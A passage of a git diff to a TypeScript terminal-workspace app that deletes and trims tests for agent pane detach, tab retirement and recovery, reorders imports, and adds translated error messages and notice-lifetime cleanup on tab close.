-import type { AgentStatusEntry } from '../../../../shared/agent-status/contracts/agent-status-types'
-import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
-import type { DashboardAgentRow } from '@/components/dashboard/useDashboardData'
-
-const WORKTREE_ID = 'repo::/repo/worktree'
-const SOURCE_TAB = 'tab-source'
-const TARGET_TAB = 'tab-target'
-const FINAL_TAB = 'tab-final'
-const LEAF = '11111111-1111-4111-8111-111111111111'
-const SIBLING_LEAF = '22222222-2222-4222-8222-222222222222'
-const SOURCE_PANE_KEY = makePaneKey(SOURCE_TAB, LEAF)
-const TARGET_PANE_KEY = makePaneKey(TARGET_TAB, LEAF)
-const FINAL_PANE_KEY = makePaneKey(FINAL_TAB, LEAF)
-
-beforeEach(() => {
-  resetAgentPaneAuthorityAliasesForTests()
-})
-
-afterEach(() => {
-  resetAgentPaneAuthorityAliasesForTests()
-})
-
-function makeDoneEntry(args: {
-  paneKey: string
-  tabId: string
-  startedAt: number
-  agentType: AgentStatusEntry['agentType']
-  terminalHandle?: string
-  providerSession?: AgentStatusEntry['providerSession']
-}): AgentStatusEntry {
-  return {
-    state: 'done',
-    prompt: 'Fix it',
-    updatedAt: args.startedAt,
-    stateStartedAt: args.startedAt,
-    paneKey: args.paneKey,
-    tabId: args.tabId,
-    terminalTitle: 'Claude',
-    stateHistory: [],
-    agentType: args.agentType,
-    terminalHandle: args.terminalHandle,
-    providerSession: args.providerSession,
-    interrupted: false
-  }
-}
-
-function makeRow(
-  paneKey: string,
-  tabId: string,
-  startedAt = 100,
-  overrides?: {
-    agentType?: AgentStatusEntry['agentType']
-    terminalHandle?: string
-    providerSession?: AgentStatusEntry['providerSession']
-  }
-): DashboardAgentRow {
-  const agentType = overrides?.agentType ?? 'claude'
-  return {
-    paneKey,
-    entry: makeDoneEntry({
-      paneKey,
-      tabId,
-      startedAt,
-      agentType,
-      terminalHandle: overrides?.terminalHandle,
-      providerSession: overrides?.providerSession
-    }),
-    tab: makeTab({ id: tabId, worktreeId: WORKTREE_ID }),
-    agentType,
-    state: 'done',
-    startedAt
-  }
-}
-
-function createDetachStore() {
-  const store = createTestStore()
-  seedStore(store, {
-    worktreesByRepo: {
-      repo: [makeWorktree({ id: WORKTREE_ID, repoId: 'repo', path: '/repo/worktree' })]
-    },
-    tabsByWorktree: {
-      [WORKTREE_ID]: [
-        makeTab({ id: SOURCE_TAB, worktreeId: WORKTREE_ID, ptyId: 'pty-a' }),
-        makeTab({ id: TARGET_TAB, worktreeId: WORKTREE_ID, ptyId: null }),
-        makeTab({ id: FINAL_TAB, worktreeId: WORKTREE_ID, ptyId: null })
-      ]
-    },
-    ptyIdsByTabId: {
-      [SOURCE_TAB]: ['pty-a', 'pty-sibling'],
-      [TARGET_TAB]: [],
-      [FINAL_TAB]: []
-    }
-  })
-  return store
-}
-
-function detach(
-  store: ReturnType<typeof createDetachStore>,
-  sourceTabId: string,
-  targetTabId: string
-) {
-  store.getState().syncPaneDetachPtyOwnership({
-    detachedLeafId: LEAF,
-    detachedPtyId: 'pty-a',
-    sourceLayout: {
-      root: { type: 'leaf', leafId: SIBLING_LEAF },
-      activeLeafId: SIBLING_LEAF,
-      expandedLeafId: null,
-      ptyIdsByLeafId: { [SIBLING_LEAF]: 'pty-sibling' }
-    },
-    sourceTabId,
-    targetTabId
-  })
-}
-
-function collect(args: {
-  currentPaneKey?: string
-  currentTabId?: string
-  currentStartedAt?: number
-  currentAgentType?: AgentStatusEntry['agentType']
-  terminalHandle?: string
-  previousProviderSession?: AgentStatusEntry['providerSession']
-  currentProviderSession?: AgentStatusEntry['providerSession']
-  retiredPaneKeys?: Record<string, true | string>
-  tabIndex?: Map<string, { tab: TerminalTab }>
-}) {
-  return collectRetainedAgentsOnDisappear({
-    previousAgents: new Map([
-      [
-        SOURCE_PANE_KEY,
-        {
-          row: makeRow(SOURCE_PANE_KEY, SOURCE_TAB, 100, {
-            terminalHandle: args.terminalHandle,
-            providerSession: args.previousProviderSession
-          }),
-          worktreeId: WORKTREE_ID
-        }
-      ]
-    ]),
-    currentAgents:
-      args.currentPaneKey && args.currentTabId
-        ? new Map([
-            [
-              args.currentPaneKey,
-              {
-                row: makeRow(args.currentPaneKey, args.currentTabId, args.currentStartedAt, {
-                  agentType: args.currentAgentType,
-                  terminalHandle: args.terminalHandle,
-                  providerSession: args.currentProviderSession
-                }),
-                worktreeId: WORKTREE_ID
-              }
-            ]
-          ])
-        : new Map(),
-    retainedAgentsByPaneKey: {},
-    retentionSuppressedPaneKeys: {},
-    recentlyClosedAgentStatusTabIds: {},
-    recentlyRetiredAgentStatusPaneKeys: args.retiredPaneKeys ?? {},
-    tabIndex: args.tabIndex
-  })
-}
-
-describe('detach completed split pane → sidebar retention', () => {
-  it('recognizes the same run after chained transfers', () => {
-    const store = createDetachStore()
-    store.getState().setAgentStatus(SOURCE_PANE_KEY, {
-      state: 'done',
-      prompt: 'Fix it',
-      agentType: 'claude'
-    })
-
-    detach(store, SOURCE_TAB, TARGET_TAB)
-    detach(store, TARGET_TAB, FINAL_TAB)
-
-    expect(collect({ currentPaneKey: FINAL_PANE_KEY, currentTabId: FINAL_TAB }).toRetain).toEqual(
-      []
-    )
-    // Why: every intermediate key must resolve to the CURRENT owner, not the previous hop.
-    expect(resolveAgentPaneAuthorityKey(SOURCE_PANE_KEY)).toBe(FINAL_PANE_KEY)
-    expect(resolveAgentPaneAuthorityKey(TARGET_PANE_KEY)).toBe(FINAL_PANE_KEY)
-  })
-
-  it('does not resurrect the source when the transferred owner immediately closes', () => {
-    const store = createDetachStore()
-    store.getState().setAgentStatus(SOURCE_PANE_KEY, {
-      state: 'done',
-      prompt: 'Fix it',
-      agentType: 'claude'
-    })
-
-    detach(store, SOURCE_TAB, TARGET_TAB)
-    store.getState().dropAgentStatusByTabPrefix(TARGET_TAB)
-    const retiredPaneKeys = store.getState().recentlyRetiredAgentStatusPaneKeys
-
-    expect(retiredPaneKeys[SOURCE_PANE_KEY]).toBe(true)
-    expect(retiredPaneKeys[TARGET_PANE_KEY]).toBe(true)
-    expect(collect({ retiredPaneKeys }).toRetain).toEqual([])
-  })
-
-  it('retains at the transferred surface when the destination pty exits before the next sync', () => {
-    const store = createDetachStore()
-    store.getState().setAgentStatus(SOURCE_PANE_KEY, {
-      state: 'done',
-      prompt: 'Fix it',
-      agentType: 'claude'
-    })
-
-    detach(store, SOURCE_TAB, TARGET_TAB)
-    store.getState().removeAgentStatus(TARGET_PANE_KEY)
-
-    // Why: the retention effect coalesced the move and the exit into one pass, so it
-    // only ever sees the source key vanish.
-    const destinationTab = makeTab({
-      id: TARGET_TAB,
-      worktreeId: WORKTREE_ID,
-      title: 'Destination',
-      launchAgent: 'codex'
-    })
-    const retained = collect({
-      tabIndex: new Map([[TARGET_TAB, { tab: destinationTab }]])
-    }).toRetain
-    expect(retained).toHaveLength(1)
-    expect(retained[0]?.entry.paneKey).toBe(TARGET_PANE_KEY)
-    expect(retained[0]?.entry.tabId).toBe(TARGET_TAB)
-    // Retain destination tab identity; sidebar agent resolution reads its title and launchAgent.
-    expect(retained[0]?.tab).toBe(destinationTab)
-    expect(retained[0]?.tab.title).toBe('Destination')
-  })
-})
diff --git a/src/renderer/src/store/terminals/terminal-pty-bindings.ts b/src/renderer/src/store/terminals/terminal-pty-bindings.ts
index d8c8b684a83..3a78952fa45 100644
--- a/src/renderer/src/store/terminals/terminal-pty-bindings.ts
+++ b/src/renderer/src/store/terminals/terminal-pty-bindings.ts
@@ -6,14 +6,14 @@ import {
   toRemoteRuntimePtyId
 } from '../../../../shared/remote-runtime/remote-runtime-pty-id'
 import { isTerminalTabPresent } from './terminal-tab-retirement'
-import type { TerminalSlice, TerminalStoreGet, TerminalStoreSet } from './terminal-state'
 import {
   consumePendingActivationSpawn,
   getPendingActivationSpawnCount
 } from './terminal-pty-identities'
 import { omitUnverifiedPtyLossTabIds } from './terminal-unverified-pty-loss'
-import { clearWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
+import { clearWorktreeSleepIntent } from '@/lib/workspace/sleep/worktree-sleep-intent'
 import { omitDisownedPtyIds } from './terminal-disowned-pty-sources'
+import type { TerminalSlice, TerminalStoreGet, TerminalStoreSet } from './terminal-state'
 
 export function createTerminalPtyBindingActions(
   set: TerminalStoreSet,
diff --git a/src/renderer/src/store/terminals/terminal-pty-release.ts b/src/renderer/src/store/terminals/terminal-pty-release.ts
index ec3caf8c47e..06fe7c9dda9 100644
--- a/src/renderer/src/store/terminals/terminal-pty-release.ts
+++ b/src/renderer/src/store/terminals/terminal-pty-release.ts
@@ -1,12 +1,12 @@
 import { replaceTabBuckets, replaceRecordEntries } from '@/store/keyed-record-transitions'
 import { getFirstTerminalTabOwnerWorktreeId } from './terminal-tab-owner-index'
 import { isRemoteRuntimePtyId } from '../../../../shared/remote-runtime/remote-runtime-pty-id'
-import { hasWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
-import type { TerminalSlice, TerminalStoreGet, TerminalStoreSet } from './terminal-state'
+import { hasWorktreeSleepIntent } from '@/lib/workspace/sleep/worktree-sleep-intent'
 import {
   consumePendingActivationSpawn,
   getPendingActivationSpawnCount
 } from './terminal-pty-identities'
+import type { TerminalSlice, TerminalStoreGet, TerminalStoreSet } from './terminal-state'
 
 export function createTerminalPtyReleaseActions(
   set: TerminalStoreSet,
diff --git a/src/renderer/src/store/terminals/terminal-quick-command-hosts.ts b/src/renderer/src/store/terminals/terminal-quick-command-hosts.ts
index fb00576ef1b..1f16e0fa5a4 100644
--- a/src/renderer/src/store/terminals/terminal-quick-command-hosts.ts
+++ b/src/renderer/src/store/terminals/terminal-quick-command-hosts.ts
@@ -75,7 +75,13 @@ async function mutateLocalCommands(
     return true
   } catch (error) {
     // Why: main refuses an unstorable list with its own sentence; drop Electron's IPC wrapper.
-    const message = extractIpcErrorMessage(error, 'Failed to save quick command.')
+    const message = extractIpcErrorMessage(
+      error,
+      translate(
+        'auto.store.slices.terminalQuickCommandHosts.saveFailed',
+        'Failed to save quick command.'
+      )
+    )
     toast.error(
       translate(
         'auto.store.slices.terminal.quick.command.hosts.5b7d781d67',
@@ -122,7 +128,13 @@ async function mutateRemoteCommands(
       if (getRuntimeEnvironmentConnectionGeneration(environmentId) !== connectionGeneration) {
         return
       }
-      const message = error instanceof Error ? error.message : 'Failed to save quick command.'
+      const message =
+        error instanceof Error
+          ? error.message
+          : translate(
+              'auto.store.slices.terminalQuickCommandHosts.saveFailed',
+              'Failed to save quick command.'
+            )
       updateEntry(set, environmentId, (current) => ({
         commands: current?.commands ?? [],
         connectionGeneration,
diff --git a/src/renderer/src/store/terminals/terminal-tab-close.ts b/src/renderer/src/store/terminals/terminal-tab-close.ts
index 849b1df102b..97ce5648c70 100644
--- a/src/renderer/src/store/terminals/terminal-tab-close.ts
+++ b/src/renderer/src/store/terminals/terminal-tab-close.ts
@@ -1,3 +1,7 @@
+import {
+  getTerminalNoticeLifetime,
+  retireTerminalNoticeLifetime
+} from '@/components/terminal-pane/provider-notices/terminal-notice-lifetime'
 import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
 import { sweepRetiredTerminalTabState } from './retired-terminal-tab-state-sweep'
 import { getRecentlyClosedTabPosition } from '../slices/tabs/recently-closed-tab-position'
@@ -38,6 +42,16 @@ export function createTerminalTabCloseActions(
         opts?.precomputedRetirementPlan?.tabId === tabId
           ? opts.precomputedRetirementPlan
           : buildTerminalTabRetirementPlan(get(), tabId)
+      const closingPtyIds = new Set([
+        ...retirementPlan.localOrSshPtyIds,
+        ...retirementPlan.runtimeTerminals.map((terminal) => terminal.ptyId),
+        ...retirementPlan.cleanupOnlyPtyIds,
+        ...retirementPlan.unroutablePtyIds
+      ])
+      const retiringNotices = [...closingPtyIds].flatMap((id) => {
+        const lifetime = getTerminalNoticeLifetime(id)
+        return lifetime ? [lifetime] : []
+      })
       let closingWorktreeId: string | null = null
       // Why: a parked tab has no mounted TerminalPane cleanup, so revoke its observer/candidate state before provider exit races.
       retireParkedTerminalTab(tabId)
@@ -193,12 +207,6 @@ export function createTerminalTabCloseActions(
           // Clear unconsumed snapshots/cold restores even if closed before pane mount to bound memory.
           let nextSnapshots = s.pendingSnapshotByPtyId
           let nextColdRestores = s.pendingColdRestoreByPtyId
-          const closingPtyIds = new Set([
-            ...retirementPlan.localOrSshPtyIds,
-            ...retirementPlan.runtimeTerminals.map((terminal) => terminal.ptyId),
-            ...retirementPlan.cleanupOnlyPtyIds,
-            ...retirementPlan.unroutablePtyIds
-          ])
           for (const closingId of closingPtyIds) {
             if (closingId in nextSnapshots) {
               nextSnapshots = { ...nextSnapshots }
@@ -260,6 +268,11 @@ export function createTerminalTabCloseActions(
           }
         })
       )
+      if (retiresSession) {
+        for (const lifetime of retiringNotices) {
+          retireTerminalNoticeLifetime(lifetime)
+        }
+      }
       if (intentReason && closingWorktreeId && opts?.remoteCloseOwnedByHost !== true) {
         // Switch point: main records the close through layout.apply.
         if (
diff --git a/src/renderer/src/store/terminals/terminal-tab-creation.ts b/src/renderer/src/store/terminals/terminal-tab-creation.ts
index 0a6fbefaaf9..92e7e84f477 100644
--- a/src/renderer/src/store/terminals/terminal-tab-creation.ts
+++ b/src/renderer/src/store/terminals/terminal-tab-creation.ts
@@ -1,7 +1,6 @@
 import { resolveTerminalCreatedShell } from './terminal-created-shell'
 import { warnIfZCodeCannotOpenSession } from '@/components/terminal-pane/provider-notices/zcode-capability/zcode-missing-tui-notice'
-import { clearWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
-import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
+import { clearWorktreeSleepIntent } from '@/lib/workspace/sleep/worktree-sleep-intent'
 import {
   isValidHostTerminalTabId,
   isValidMirroredHostTerminalTabId
@@ -23,17 +22,18 @@ import { dedupeTabOrder } from '../../../../shared/workspace-layout/tab-order'
 import { createNonSecureContextUuid as createBrowserUuid } from '../../../../shared/non-secure-context-uuid'
 import { emptySplitGroup, splitGroupEntries } from '../slices/tabs/tabs-group-actions'
 import { ownsGlobalSelection } from '../workspaces/selection/global-selection-owner'
-import type { TerminalSlice, TerminalStoreGet, TerminalStoreSet } from './terminal-state'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
 import {
   recordCreatedTerminalTabInLayoutOwner,
   terminalTabCreateCommand,
   withMainTerminalFacts
 } from './terminal-tab-create-through-layout-owner'
-import type { AppState } from '../types'
 import { normalizeTabStartupCommand } from './terminal-startup-queues'
 import { replaceRecordEntries, replaceTabBuckets } from '../keyed-record-transitions'
 import { applyRecordOperations } from './terminal-companion-record-operations'
+import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
+import type { TerminalSlice, TerminalStoreGet, TerminalStoreSet } from './terminal-state'
+import type { AppState } from '../types'
 
 export function createTerminalTabCreationActions(
   set: TerminalStoreSet,
diff --git a/src/renderer/src/store/terminals/terminal-tab-recovery-remount.test.ts b/src/renderer/src/store/terminals/terminal-tab-recovery-remount.test.ts
index 9949534251f..a7276b250ed 100644
--- a/src/renderer/src/store/terminals/terminal-tab-recovery-remount.test.ts
+++ b/src/renderer/src/store/terminals/terminal-tab-recovery-remount.test.ts
@@ -2,7 +2,6 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { createTestStore, seedStore } from '../testing/app-store-test-fixture'
 import { makeWorktree } from '../slices/worktrees/worktree.test-fixture'
 import './terminal-tab-retirement'
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants'
 import { folderWorkspaceKey } from '../../../../shared/workspace-scope'
 import { createStoreSessionMockApi } from '../testing/app-store-session-api.test-fixture'
 
@@ -18,78 +17,51 @@ afterEach(() => {
   vi.unstubAllGlobals()
 })
 
-function seedWorktreeWithTab(store: ReturnType<typeof createTestStore>): string {
-  seedStore(store, {
-    worktreesByRepo: {
-      repo1: [makeWorktree({ id: WORKTREE_ID, repoId: 'repo1', path: '/path/wt1' })]
+describe.each([['a folder workspace', folderWorkspaceKey('fw-1')]])(
+  'the recovery ledger on %s',
+  (_label, bucketId) => {
+    function seedBucket(store: ReturnType<typeof createTestStore>): string {
+      seedStore(store, {
+        worktreesByRepo: {
+          repo1: [makeWorktree({ id: WORKTREE_ID, repoId: 'repo1', path: '/path/wt1' })]
+        }
+      })
+      return store.getState().createTab(bucketId).id
     }
-  })
-  return store.getState().createTab(WORKTREE_ID).id
-}
 
-// Recovery ledger follows tab rows across worktree, folder and floating buckets; no repository-only lookup may strand it.
-describe.each([
-  ['a repository worktree', WORKTREE_ID],
-  ['a folder workspace', folderWorkspaceKey('fw-1')],
-  ['the floating terminal bucket', FLOATING_TERMINAL_WORKTREE_ID]
-])('the recovery ledger on %s', (_label, bucketId) => {
-  function seedBucket(store: ReturnType<typeof createTestStore>): string {
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: WORKTREE_ID, repoId: 'repo1', path: '/path/wt1' })]
+    const AUTOMATIC = { reason: 'write-stalled', trigger: 'automatic', now: 0 } as const
+
+    it('admits, observes and then refuses the same reason until a new trigger', () => {
+      const store = createTestStore()
+      const tabId = seedBucket(store)
+      const row = (): { recovery?: unknown } | undefined =>
+        store.getState().tabsByWorktree[bucketId]?.find((tab) => tab.id === tabId)
+
+      const first = store.getState().remountTerminalTabForRecovery(tabId, AUTOMATIC)
+      expect(first.remounted).toBe(true)
+      expect(row()?.recovery).toMatchObject({ outcome: 'pending', reason: 'write-stalled' })
+
+      // Unsettled blocks the next automatic ask, even past the cooldown.
+      expect(
+        store.getState().remountTerminalTabForRecovery(tabId, { ...AUTOMATIC, now: 16_000 })
+      ).toEqual({ remounted: false, declinedBy: 'unsettled', retryInMs: 15_000 })
+
+      if (!first.remounted) {
+        throw new Error('unreachable: the first remount was admitted')
       }
+      store.getState().settleTerminalTabRecovery(tabId, first.generation, 'failed')
+      expect(row()?.recovery).toMatchObject({ outcome: 'failed' })
+      expect(
+        store.getState().remountTerminalTabForRecovery(tabId, { ...AUTOMATIC, now: 600_000 })
+      ).toEqual({ remounted: false, declinedBy: 'settled-failure' })
+
+      // The user asking again is the new trigger the refusal waits for.
+      expect(
+        store
+          .getState()
+          .remountTerminalTabForRecovery(tabId, { ...AUTOMATIC, trigger: 'user', now: 600_000 })
+          .remounted
+      ).toBe(true)
     })
-    return store.getState().createTab(bucketId).id
   }
-
-  const AUTOMATIC = { reason: 'write-stalled', trigger: 'automatic', now: 0 } as const
-
-  it('admits, observes and then refuses the same reason until a new trigger', () => {
-    const store = createTestStore()
-    const tabId = seedBucket(store)
-    const row = (): { recovery?: unknown } | undefined =>
-      store.getState().tabsByWorktree[bucketId]?.find((tab) => tab.id === tabId)
-
-    const first = store.getState().remountTerminalTabForRecovery(tabId, AUTOMATIC)
-    expect(first.remounted).toBe(true)
-    expect(row()?.recovery).toMatchObject({ outcome: 'pending', reason: 'write-stalled' })
-
-    // Unsettled blocks the next automatic ask, even past the cooldown.
-    expect(
-      store.getState().remountTerminalTabForRecovery(tabId, { ...AUTOMATIC, now: 16_000 })
-    ).toEqual({ remounted: false, declinedBy: 'unsettled', retryInMs: 15_000 })
-
-    if (!first.remounted) {
-      throw new Error('unreachable: the first remount was admitted')
-    }
-    store.getState().settleTerminalTabRecovery(tabId, first.generation, 'failed')
-    expect(row()?.recovery).toMatchObject({ outcome: 'failed' })
-    expect(
-      store.getState().remountTerminalTabForRecovery(tabId, { ...AUTOMATIC, now: 600_000 })
-    ).toEqual({ remounted: false, declinedBy: 'settled-failure' })
-
-    // The user asking again is the new trigger the refusal waits for.
-    expect(
-      store
-        .getState()
-        .remountTerminalTabForRecovery(tabId, { ...AUTOMATIC, trigger: 'user', now: 600_000 })
-        .remounted
-    ).toBe(true)
-  })
-})
-
-// Pane mount snapshots startup commands once; recovery must retain queued commands until owning-pane spawn or leave quick commands at a bare prompt (STA-4876).
-describe('queued startup command retention', () => {
-  // Only the owning pane spends it, via this action, once its own fresh spawn exists.
-  it('is spent through consumeTabStartupCommand and does not replay afterwards', () => {
-    const store = createTestStore()
-    const tabId = seedWorktreeWithTab(store)
-    store.getState().queueTabStartupCommand(tabId, { command: 'echo hi' })
-
-    expect(store.getState().consumeTabStartupCommand(tabId)).toEqual({ command: 'echo hi' })
-
-    store.getState().remountTerminalTabForRecovery(tabId)
-    expect(store.getState().pendingStartupByTabId[tabId]).toBeUndefined()
-    expect(store.getState().consumeTabStartupCommand(tabId)).toBeNull()
-  })
-})
+)
diff --git a/src/renderer/src/store/terminals/terminal-tab-retirement-store.test.ts b/src/renderer/src/store/terminals/terminal-tab-retirement-store.test.ts
index edf75bf82dc..2e0480e073f 100644
--- a/src/renderer/src/store/terminals/terminal-tab-retirement-store.test.ts
+++ b/src/renderer/src/store/terminals/terminal-tab-retirement-store.test.ts
@@ -64,56 +64,6 @@ describe('terminal tab retirement store boundary', () => {
     capturedPanesByTabId.clear()
   })
 
-  it('retires split, relay, deferred, and pending sessions for a parked tab', async () => {
-    const store = createRetirementStore()
-    const dispose = vi.fn()
-    const siblingRecord = sleepingRecord('tab-2:leaf-2', 'tab-2')
-    seedStore(store, {
-      tabsByWorktree: {
-        'wt-1': [makeTab({ id: 'tab-1', worktreeId: 'wt-1', ptyId: 'pty-primary' })]
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-primary', 'pty-split'] },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: null,
-          activeLeafId: null,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { leaf1: 'pty-primary', leaf2: 'pty-split' }
-        }
-      },
-      lastKnownRelayPtyIdByTabId: { 'tab-1': 'ssh:ssh-1@@relay' },
-      deferredSshSessionIdsByTabId: { 'tab-1': 'pty-deferred' },
-      pendingReconnectPtyIdByTabId: { 'tab-1': 'pty-pending' },
-      sleepingAgentSessionsByPaneKey: {
-        'tab-1:leaf-1': sleepingRecord('tab-1:leaf-1', 'tab-1'),
-        'legacy-key': sleepingRecord('legacy-key', 'tab-1'),
-        'tab-2:leaf-2': siblingRecord
-      }
-    })
-    parkedWatchersByTabId.set('tab-1', {
-      worktreeId: 'wt-1',
-      tabPtyId: 'pty-primary',
-      paneIdByPtyId: new Map([['pty-primary', 1]]),
-      disposersByPtyId: new Map([['pty-primary', dispose]])
-    })
-    capturedPanesByTabId.set('tab-1', { worktreeId: 'wt-1', panes: [] })
-
-    store.getState().closeTab('tab-1')
-    await vi.waitFor(() => expect(mockKill).toHaveBeenCalledTimes(5))
-
-    expect(new Set(mockKill.mock.calls.map(([ptyId]) => ptyId))).toEqual(
-      new Set(['pty-primary', 'pty-split', 'ssh:ssh-1@@relay', 'pty-deferred', 'pty-pending'])
-    )
-    expect(store.getState().tabsByWorktree['wt-1']).toEqual([])
-    expect(store.getState().deferredSshSessionIdsByTabId['tab-1']).toBeUndefined()
-    expect(store.getState().pendingReconnectPtyIdByTabId['tab-1']).toBeUndefined()
-    expect(store.getState().sleepingAgentSessionsByPaneKey).toEqual({
-      'tab-2:leaf-2': siblingRecord
-    })
-    expect(store.getState().sleepingAgentSessionsByPaneKey['tab-2:leaf-2']).toBe(siblingRecord)
-    expect(dispose).toHaveBeenCalledOnce()
-  })
-
   it('routes runtime handles to runtime close and preserves shared PTYs', async () => {
     const store = createRetirementStore()
     seedStore(store, {
@@ -188,87 +138,4 @@ describe('terminal tab retirement store boundary', () => {
     expect(store.getState().unifiedTabsByWorktree['wt-1']).toEqual([])
     expect(store.getState().ptyIdsByTabId['terminal-tab-1']).toBeUndefined()
   })
-
-  it('retires parked ownership before teardown and sweeps published state before unified close', () => {
-    const store = createRetirementStore()
-    const events: string[] = []
-    const unified = makeUnifiedTab({
-      id: 'unified-tab-1',
-      entityId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: 'group-1'
-    })
-    mockKill.mockImplementationOnce(() => {
-      events.push('provider-kill')
-      return Promise.resolve()
-    })
-    seedStore(store, {
-      tabsByWorktree: {
-        'wt-1': [makeTab({ id: 'tab-1', worktreeId: 'wt-1', ptyId: 'pty-1' })]
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-1'] },
-      unifiedTabsByWorktree: { 'wt-1': [unified] },
-      dropAgentStatusByTabPrefix: vi.fn(() => {
-        expect(store.getState().tabsByWorktree['wt-1']).toEqual([])
-        events.push('state-sweep')
-      }),
-      closeUnifiedTab: vi.fn(() => {
-        events.push('unified-close')
-        return null
-      })
-    })
-    parkedWatchersByTabId.set('tab-1', {
-      worktreeId: 'wt-1',
-      tabPtyId: 'pty-1',
-      paneIdByPtyId: new Map([['pty-1', 1]]),
-      disposersByPtyId: new Map([['pty-1', () => events.push('parked-retire')]])
-    })
-    const unsubscribe = store.subscribe((state, previous) => {
-      const wasPresent = previous.tabsByWorktree['wt-1']?.some((tab) => tab.id === 'tab-1')
-      const isPresent = state.tabsByWorktree['wt-1']?.some((tab) => tab.id === 'tab-1')
-      if (wasPresent && !isPresent) {
-        events.push('row-removal')
-      }
-    })
-
-    expect(() => store.getState().closeTab('tab-1')).not.toThrow()
-
-    expect(events).toEqual([
-      'parked-retire',
-      'provider-kill',
-      'row-removal',
-      'state-sweep',
-      'unified-close'
-    ])
-    unsubscribe()
-  })
-
-  it('starts mixed provider teardown and classifies both rejection kinds after synchronous retirement', async () => {
-    const store = createRetirementStore()
-    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
-    mockKill.mockRejectedValueOnce(new Error('local unavailable'))
-    mockRuntimeCall.mockRejectedValueOnce(new Error('runtime unavailable'))
-    seedStore(store, {
-      tabsByWorktree: {
-        'wt-1': [makeTab({ id: 'tab-1', worktreeId: 'wt-1', ptyId: 'pty-local' })]
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-local', 'remote:runtime-terminal'] }
-    })
-
-    expect(() => store.getState().closeTab('tab-1')).not.toThrow()
-    expect(mockKill).toHaveBeenCalledWith('pty-local')
-    expect(mockRuntimeCall).toHaveBeenCalledWith({
-      method: 'terminal.close',
-      params: { terminal: 'runtime-terminal' }
-    })
-    expect(store.getState().tabsByWorktree['wt-1']).toEqual([])
-    await vi.waitFor(() =>
-      expect(warn).toHaveBeenCalledWith('[terminal-retirement] provider teardown failed', {
-        tabId: 'tab-1',
-        localOrSshFailures: 1,
-        runtimeFailures: 1
-      })
-    )
-    warn.mockRestore()
-  })
 })
diff --git a/src/renderer/src/store/terminals/terminal-tab-title-batch.test.ts b/src/renderer/src/store/terminals/terminal-tab-title-batch.test.ts
deleted file mode 100644
index 1d37b3a05e6..00000000000
--- a/src/renderer/src/store/terminals/terminal-tab-title-batch.test.ts
+++ /dev/null
@@ -1,135 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import { getDefaultSettings } from '../../../../shared/constants'
-import { makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
-import { layoutApplyTestDouble } from '@/runtime/workspace-layout/testing/layout-apply-test-double'
-
-vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
-vi.mock('@/runtime/sync-runtime-graph/graph-sync-scheduler', () => ({
-  scheduleRuntimeGraphSync: vi.fn()
-}))
-vi.mock('@/components/terminal-pane/pty-transport/delivery/pty-dispatcher', () => ({
-  registerEagerPtyBuffer: vi.fn(),
-  ensurePtyDispatcher: vi.fn()
-}))
-
-vi.mock('@/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension', () => ({
-  unregisterPtyDataHandlers: vi.fn()
-}))
-vi.mock('@/components/terminal-pane/snapshots/shutdown-buffer-captures', () => ({
-  shutdownBufferCaptures: vi.fn()
-}))
-
-const main = layoutApplyTestDouble()
-// @ts-expect-error -- minimal preload API stub for the slice's IPC writes
-globalThis.window = { api: { runtime: { call: main.call } } }
-
-import { createTestStore, seedStore } from '../testing/app-store-test-fixture'
-import { makeTab } from './terminal-tab.test-fixture'
-import { makeUnifiedTab } from '../slices/tabs/tab-group.test-fixture'
-import { makeWorktree } from '../slices/worktrees/worktree.test-fixture'
-import type { GeneratedTabTitleUpdate } from './terminal-tab-title-batch'
-
-const LEAF_ID = '11111111-1111-4111-8111-111111111111'
-
-function makeScaleState(count: number) {
-  const worktrees = Array.from({ length: count }, (_, index) =>
-    makeWorktree({ id: `wt-${index}`, repoId: 'repo1' })
-  )
-  const tabsByWorktree = Object.fromEntries(
-    worktrees.map((worktree, index) => [
-      worktree.id,
-      [makeTab({ id: `tab-${index}`, worktreeId: worktree.id })]
-    ])
-  )
-  const unifiedTabsByWorktree = Object.fromEntries(
-    worktrees.map((worktree, index) => [
-      worktree.id,
-      [makeUnifiedTab({ id: `tab-${index}`, worktreeId: worktree.id, groupId: 'group-1' })]
-    ])
-  )
-  return {
-    tabsByWorktree,
-    unifiedTabsByWorktree,
-    worktrees
-  }
-}
-
-describe('terminal tab title batches', () => {
-  it('updates each requested owner while preserving an untouched owner', () => {
-    const store = createTestStore()
-    const fixture = makeScaleState(3)
-    seedStore(store, {
-      worktreesByRepo: { repo1: fixture.worktrees },
-      tabsByWorktree: fixture.tabsByWorktree,
-      unifiedTabsByWorktree: fixture.unifiedTabsByWorktree
-    })
-    const untouchedTabs = fixture.tabsByWorktree['wt-2']
-    store.getState().updateTabTitles(
-      Array.from({ length: 2 }, (_, index) => ({
-        tabId: `tab-${index}`,
-        title: `Remote agent ${index}`
-      }))
-    )
-
-    expect(store.getState().tabsByWorktree['wt-2']).toBe(untouchedTabs)
-    expect(store.getState().tabsByWorktree['wt-0']?.[0]?.title).toBe('Remote agent 0')
